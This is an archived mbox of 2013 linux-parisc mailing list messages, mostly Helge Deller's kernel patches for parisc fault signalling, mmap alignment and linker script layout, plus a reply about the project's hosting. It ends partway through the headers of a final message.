This patch fixes most of the Linux Test Project testcases, e.g. fstat05.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 7584a5d..13ff454 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -282,16 +282,31 @@ bad_area:
 #endif
 		switch (code) {
 		case 15:	/* Data TLB miss fault/Data page fault */
+			/* Outside of vma area? -> send SIGSEGV */
+			if (!vma ||
+			    address < vma->vm_start || address > vma->vm_end)
+				goto send_sigsegv;
+
+			/* Wrong permissions? -> send SIGSEGV */
+			if ((vma->vm_flags & acc_type) != acc_type) {
+				si.si_signo = SIGSEGV;
+				si.si_code = SEGV_ACCERR;
+				break;
+			}
+
+			/* permissions & location OK, but end of mapped file? */
+			/* fall through */
 		case 17:	/* NA data TLB miss / page fault */
 		case 18:	/* Unaligned access - PCXS only */
-			si.si_signo = SIGBUS;
-			si.si_code = BUS_ADRERR;
+send_sigbus:		si.si_signo = SIGBUS;
+			si.si_code = (code == 18) ? BUS_ADRALN : BUS_ADRERR;
 			break;
 		case 16:	/* Non-access instruction TLB miss fault */
 		case 26:	/* PCXL: Data memory access rights trap */
 		default:
-			si.si_signo = SIGSEGV;
-			si.si_code = SEGV_MAPERR;
+send_sigsegv:		si.si_signo = SIGSEGV;
+			si.si_code = (code == 26) ? SEGV_ACCERR : SEGV_MAPERR;
+			break;
 		}
 		si.si_errno = 0;
 		si.si_addr = (void __user *) address;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Wed, 20 Nov 2013 11:35:05 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <E00E313F-7563-4ACC-B5DF-F6BDFADFFC5F@parisc-linux.org>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de> <C9305BC2-086F-48E8-944C-D7751095769A@parisc-linux.org> <527EA9C9.2070309@gmx.de> <3B12942A-F2B8-459E-85AE-3AC9DB288D67@parisc-linux.org> <528285DF.6010305@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\))
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384943707 14555 80.91.229.3 (20 Nov 2013 10:35:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Nov 2013 10:35:07 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 20 11:35:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vj57m-0008MG-LD
	for glpp-linux-parisc@plane.gmane.org; Wed, 20 Nov 2013 11:35:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752124Ab3KTKfJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Nov 2013 05:35:09 -0500
Original-Received: from mail-wg0-f51.google.com ([74.125.82.51]:41443 "EHLO
	mail-wg0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750834Ab3KTKfJ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Nov 2013 05:35:09 -0500
Original-Received: by mail-wg0-f51.google.com with SMTP id l18so604010wgh.18
        for <linux-parisc@vger.kernel.org>; Wed, 20 Nov 2013 02:35:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=2VFDsRP2O4OL15JaKIuRNJZifUy0ZdSFt5TAXQ6Sgus=;
        b=zHWHESLhjVRZDGuErDKW78V9OQyAvODZs3GGdL2zyCharjq3nLCDdOujsF4oFLa5bz
         O+Y2sXtUgH+goz3mddFtlpQge1p4eyRBj+AEY0pJu00WvUTdkPsSkKmdAENQ3K6coSAr
         bQqyxi8kR9jDFJ6YuNxjgMwLeewhJpSgi5The5mpPShRjQ2eN7Z5DEaf8lCm/cgC1i/b
         /sU9c4VgaOniTOUyGfZ6oTSzUUuf0AbKdIloc3jJD0U37D0O8Q/TOJn5ui8SnzCgDLqv
         GB9V7iF/pXwyz2hVa2qoqibSHKKWHRu4uaCSBOwO/VaGmsXsHOWDXAfsmUA9knkbsk5T
         kspw==
X-Received: by 10.180.198.115 with SMTP id jb19mr24504208wic.28.1384943707823;
        Wed, 20 Nov 2013 02:35:07 -0800 (PST)
Original-Received: from [10.0.0.33] (89-158-250-239.rev.dartybox.com. [89.158.250.239])
        by mx.google.com with ESMTPSA id gm2sm43669616wib.4.2013.11.20.02.35.06
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 20 Nov 2013 02:35:07 -0800 (PST)
In-Reply-To: <528285DF.6010305@gmx.de>
X-Mailer: Apple Mail (2.1510)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5505>

On 12 nov. 2013, at 20:47, Helge Deller <deller@gmx.de> wrote:
> On 11/11/2013 08:43 PM, Thibaut Var=E8ne wrote:

>> Finally, do we have an exact date as to when the A500 will be powere=
d
>> down?
>=20
> Again, I'm happy as long as it can live.

I'm happy too, but then again, if we want a smooth transition, having a=
 date for when to push the button would be nice...

T-Bone--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes for v3.13
Date: Wed, 20 Nov 2013 17:21:04 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20131120162104.GA15157@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384964476 10428 80.91.229.3 (20 Nov 2013 16:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Nov 2013 16:21:16 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Nov 20 17:21:19 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VjAWl-0008Kl-5W
	for glk-linux-kernel-3@plane.gmane.org; Wed, 20 Nov 2013 17:21:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754408Ab3KTQVM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 20 Nov 2013 11:21:12 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:54997 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754396Ab3KTQVI (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 20 Nov 2013 11:21:08 -0500
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx103) with ESMTPSA (Nemesis) id 0MBnPX-1VrfEc41od-00Apn1 for
 <linux-kernel@vger.kernel.org>; Wed, 20 Nov 2013 17:21:06 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:TX6a7CVT/8E0FLzsJbyC7+vmFDRLalKUhu0/ZXxJtwvb5vZCbjF
 pcZxuswygHnFnCREG9J9I8ToTfueItEO5YNZPeox6AJmPUOHEi6b0H0mjRIX+eyRdwz3LKh
 gw+uDytEl22P1pVPlN1NUaE9Tp8GaUAAHKSunbVOn+2t4tiuPlSbpcKVYHWMRAjWEwBqM5K
 pg5LYPWREedmL2xr9XR5Q==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1598424 gmane.linux.ports.parisc:5506
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1598424>

Hi Linus,

Please pull the latest fixes for the parisc architecture from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.13

which has the following fixes: 
- revert an access_ok() patch which broke 32bit userspace on 64bit kernels
- avoid a gcc miscompilation in two internal pa_memcpy() functions by not inlining those
- do not export the definition of SOCK_NONBLOCK via uapi header (fixes build of audit package)
- depending on the fault type we now correctly report either SIGBUS or SIGSEGV
- a small fix to not compare a size_t variable for < 0

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (5):
      Revert "parisc: implement full version of access_ok()"
      parisc: do not inline pa_memcpy() internal functions
      parisc: break out SOCK_NONBLOCK define to own asm header file
      parisc: improve SIGBUS/SIGSEGV error reporting
      parisc: size_t is unsigned, so comparison size < 0 doesn't make sense.

 arch/parisc/include/asm/socket.h      | 11 +++++++++
 arch/parisc/include/asm/uaccess.h     | 46 +++--------------------------------
 arch/parisc/include/uapi/asm/socket.h | 11 +++------
 arch/parisc/lib/memcpy.c              |  6 ++---
 arch/parisc/mm/fault.c                | 22 +++++++++++++++--
 5 files changed, 41 insertions(+), 55 deletions(-)
 create mode 100644 arch/parisc/include/asm/socket.h

From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix re-mmap() of shared file to same fixed address
Date: Wed, 20 Nov 2013 23:07:42 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <20131120220742.GA23304@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384985264 3370 80.91.229.3 (20 Nov 2013 22:07:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Nov 2013 22:07:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	dave.anglin@bell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 20 23:07:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VjFw3-0003Da-HY
	for glpp-linux-parisc@plane.gmane.org; Wed, 20 Nov 2013 23:07:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754290Ab3KTWHq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Nov 2013 17:07:46 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:57875 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753403Ab3KTWHp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Nov 2013 17:07:45 -0500
Original-Received: from p100.box ([84.173.36.225]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0LeSOH-1VJmXN0i0D-00qDYw for
 <linux-parisc@vger.kernel.org>; Wed, 20 Nov 2013 23:07:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:Nz3jaJs1EuulMnE2CMyLc0iFcKahBmi2DZN8F9uoVRhanY6h+gP
 14vvfl8Wfkqeu5mUEVHP3Byb2WsiAs9vDqOLFQmEMzyFZwNxOXf7TMtFNWDWugNbWfJzCeF
 QfSEB3x7T894CyL3u+8KsYDlCKT/BGhkMYU00RNUW9zpN+nRORV1QIR/4UsXA1Vbo3XOnmm
 2ByMioprkePBjQJy9ySgQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5507>

locale-gen from glibc showed a strange problem on parisc: 
mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42a54000
mmap2(0x42a54000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)

Basically it was just trying to re-mmap() a file at the same address
which it was given by a previous mmap() call. But this remapping failed
with EINVAL.

The problem is, that when MAP_FIXED and MAP_SHARED flags were used, we didn't
included the mapping-based offset when we verified the alignment of the given
fixed address against the offset which we calculated it in the previous call.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable....

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 5dfd248..0d3a9d4 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -61,8 +61,15 @@ static int get_offset(struct address_space *mapping)
 	return (unsigned long) mapping >> 8;
 }
 
-static unsigned long get_shared_area(struct address_space *mapping,
-		unsigned long addr, unsigned long len, unsigned long pgoff)
+static unsigned long shared_align_offset(struct file *filp, unsigned long pgoff)
+{
+	struct address_space *mapping = filp ? filp->f_mapping : NULL;
+
+	return (get_offset(mapping) + pgoff) << PAGE_SHIFT;
+}
+
+static unsigned long get_shared_area(struct file *filp, unsigned long addr,
+		unsigned long len, unsigned long pgoff)
 {
 	struct vm_unmapped_area_info info;
 
@@ -71,7 +78,7 @@ static unsigned long get_shared_area(struct address_space *mapping,
 	info.low_limit = PAGE_ALIGN(addr);
 	info.high_limit = TASK_SIZE;
 	info.align_mask = PAGE_MASK & (SHMLBA - 1);
-	info.align_offset = (get_offset(mapping) + pgoff) << PAGE_SHIFT;
+	info.align_offset = shared_align_offset(filp, pgoff);
 	return vm_unmapped_area(&info);
 }
 
@@ -82,20 +89,18 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 		return -ENOMEM;
 	if (flags & MAP_FIXED) {
 		if ((flags & MAP_SHARED) &&
-		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+		    (addr - shared_align_offset(filp, pgoff)) & (SHMLBA - 1))
 			return -EINVAL;
 		return addr;
 	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
-	if (filp) {
-		addr = get_shared_area(filp->f_mapping, addr, len, pgoff);
-	} else if(flags & MAP_SHARED) {
-		addr = get_shared_area(NULL, addr, len, pgoff);
-	} else {
+	if (filp || (flags & MAP_SHARED))
+		addr = get_shared_area(filp, addr, len, pgoff);
+	else
 		addr = get_unshared_area(addr, len);
-	}
+
 	return addr;
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: vmlinux.lds.S: fix linkage of the 64bit SMP debian
 kernel
Date: Fri, 22 Nov 2013 17:29:52 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20131122162952.GA10699@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385137793 25308 80.91.229.3 (22 Nov 2013 16:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Nov 2013 16:29:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 22 17:29:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VjtcC-0007ss-VN
	for glpp-linux-parisc@plane.gmane.org; Fri, 22 Nov 2013 17:29:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755626Ab3KVQ34 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Nov 2013 11:29:56 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61025 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755568Ab3KVQ3z (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Nov 2013 11:29:55 -0500
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx001) with ESMTPSA (Nemesis) id 0LwJRe-1VbdDL3TNG-017zC0 for
 <linux-parisc@vger.kernel.org>; Fri, 22 Nov 2013 17:29:53 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:6ladFMWckCXSh5rmdJOxcGJZj4zAKZyeO67rdz+CPrsfwhXnbkW
 UyxCMB4yBRQ7539QZr3zKsIBK+8jOBnV5Se+d9ud88rzXh0d25VLYN8Hs0HJhWHcVUhAuDs
 b2TmbPNpZGm9rVr4n3Pj9wz2N2HG4PS+O3oUoYHJg/DdeZQ6wxBfqzSxLLmc28S0pvHTyI3
 9XZACFuLG7iip1is4OQRw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5508>

When building the 64bit SMP kernel for debian it may happen that it becomes too
big so that functions in the .init.text or .exit.text may not be able to reach
important kernel functions in the .text section. Main reason why this happens
with a 64bit kernel build is that we include the linkage tables (.opd, .plt,
.dlt) in that data section.  Those linkage tables tend to become huge, and
since they are located between the .text and the .init sections the distance
gets too far.

If the linker fails to link vmlinux, it will either crash without any error
message, or it will - with newer linker versions - report the following error:

hppa64-linux-gnu-ld: drivers/built-in.o(.exit.text+0xc4): cannot reach _raw_read_lock
drivers/built-in.o: In function `pdc_stable_exit':
drivers/parisc/pdc_stable.o:(.exit.text+0xc4): relocation truncated to fit: R_PARISC_PCREL22F against symbol `_raw_read_lock' defined in .spinlock.text section in kernel/built-in.o

We have three options to solve this issue:
a) Turn on CONFIG_MLONGCALLS, which will instruct the compiler to use the
   -mlongcall option. But this option will hurt performance.
b) Tell the linker (via vmlinux.lds.S) to move the .init.text and .exit.text
   sections into the normal .text section. Downside here is, that those sections
   will not be discarded at runtime.
c) Move the linkage tables somewhere else. Even if this would be possible I did
   not find a nice solution without any other bad side effects.

Since we are compiling a 64bit kernel which usually runs on machines with lots
of memory, I preferred option b) since performance is usually more imortant than
some lost memory area.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 4bb095a..f16fa7d 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -67,6 +78,10 @@ SECTIONS
 		*(.fixup)
 		*(.lock.text)		/* out-of-line lock text */
 		*(.gnu.warning)
+#if defined(CONFIG_64BIT) && !defined(CONFIG_MLONGCALLS)
+		INIT_TEXT
+		EXIT_TEXT
+#endif
 	}
 	/* End of text section */
 	_etext = .;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: vmlinux.lds.S: use BSS_SECTION() and
 RO_DATA_SECTION()
Date: Fri, 22 Nov 2013 17:30:31 +0100
Lines: 107
Approved: news@gmane.org
Message-ID: <20131122163031.GB10699@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385137831 25796 80.91.229.3 (22 Nov 2013 16:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Nov 2013 16:30:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 22 17:30:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vjtco-0007ss-QF
	for glpp-linux-parisc@plane.gmane.org; Fri, 22 Nov 2013 17:30:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753041Ab3KVQae (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Nov 2013 11:30:34 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:61779 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752565Ab3KVQad (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Nov 2013 11:30:33 -0500
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx103) with ESMTPSA (Nemesis) id 0MJjUO-1VinAC1wo8-001Aqd for
 <linux-parisc@vger.kernel.org>; Fri, 22 Nov 2013 17:30:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:BDgfPGX84Xgd16SIV+X0S/VL/dVqytzzYLW5BHbQoByGSc+RUM/
 sYrjRRMCoKmcsY0qTLxueFAeljEAa1W+fgio9YJIH3dxYSU3/tLjrFVcq2dqkNDdf+pmchR
 AQR1aBV5VlaVKG10Q4wl0Lj/QUStllg4cQsrUiOWMz0nbs3kxsB5bAjCj9KYIZH4dVT0Mow
 SS1jP/ozP31qK4pRhK33A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5509
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5509>

- use predefined BSS_SECTION() and RO_DATA_SECTION() macros
- join data sections: INIT_DATA_SECTION() and .exit.data
- whitespace cleanups

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 4bb095a..f16fa7d 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -23,13 +23,23 @@
  *    along with this program; if not, write to the Free Software
  *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  */
+
+/*
+ * Put page table entries (swapper_pg_dir) as the first thing in .bss. This
+ * will ensure that it has .bss alignment (PAGE_SIZE).
+ */
+#define BSS_FIRST_SECTIONS	*(.data..vm0.pmd) \
+				*(.data..vm0.pgd) \
+				*(.data..vm0.pte)
+
 #include <asm-generic/vmlinux.lds.h>
+
 /* needed for the processor specific cache alignment size */	
 #include <asm/cache.h>
 #include <asm/page.h>
 #include <asm/asm-offsets.h>
 #include <asm/thread_info.h>
-	
+
 /* ld script to make hppa Linux kernel */
 #ifndef CONFIG_64BIT
 OUTPUT_FORMAT("elf32-hppa-linux")
@@ -53,6 +63,7 @@ SECTIONS
 	.head ALIGN(16) : {
 		HEAD_TEXT
 	} = 0
+
 	.text ALIGN(16) : {
 		TEXT_TEXT
 		SCHED_TEXT
@@ -74,7 +89,7 @@ SECTIONS
 	/* Start of data section */
 	_sdata = .;
 
-	RODATA
+	RO_DATA_SECTION(PAGE_SIZE)
 
 	/* writeable */
 	/* Make sure this is page aligned so
@@ -107,29 +122,19 @@ SECTIONS
 	_edata = .;
 
 	/* BSS */
-	__bss_start = .;
-	/* page table entries need to be PAGE_SIZE aligned */
-	. = ALIGN(PAGE_SIZE);
-	.data..vmpages : {
-		*(.data..vm0.pmd)
-		*(.data..vm0.pgd)
-		*(.data..vm0.pte)
-	}
-	.bss : {
-		*(.bss)
-		*(COMMON)
-	}
-	__bss_stop = .;
+	BSS_SECTION(16, PAGE_SIZE, 16)
+
 
 #ifdef CONFIG_64BIT
+	/* Linkage tables are huge. */
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
 		*(.opd)
-	} PROVIDE (__gp = .); 
+	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
-	} 
+	}
 	.dlt : {
 		*(.dlt)
 	}
@@ -139,13 +144,12 @@ SECTIONS
 	. = ALIGN(16384);
 	__init_begin = .;
 	INIT_TEXT_SECTION(16384)
-	. = ALIGN(PAGE_SIZE);
-	INIT_DATA_SECTION(16)
 	/* we have to discard exit text and such at runtime, not link time */
 	.exit.text :
 	{
 		EXIT_TEXT
 	}
+	INIT_DATA_SECTION(16)
 	.exit.data :
 	{
 		EXIT_DATA
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add some more machine names to hardware database
Date: Sat, 23 Nov 2013 00:25:43 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20131122232543.GA21160@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385162749 22883 80.91.229.3 (22 Nov 2013 23:25:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Nov 2013 23:25:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 23 00:25:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vk06d-0000Cl-Qs
	for glpp-linux-parisc@plane.gmane.org; Sat, 23 Nov 2013 00:25:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
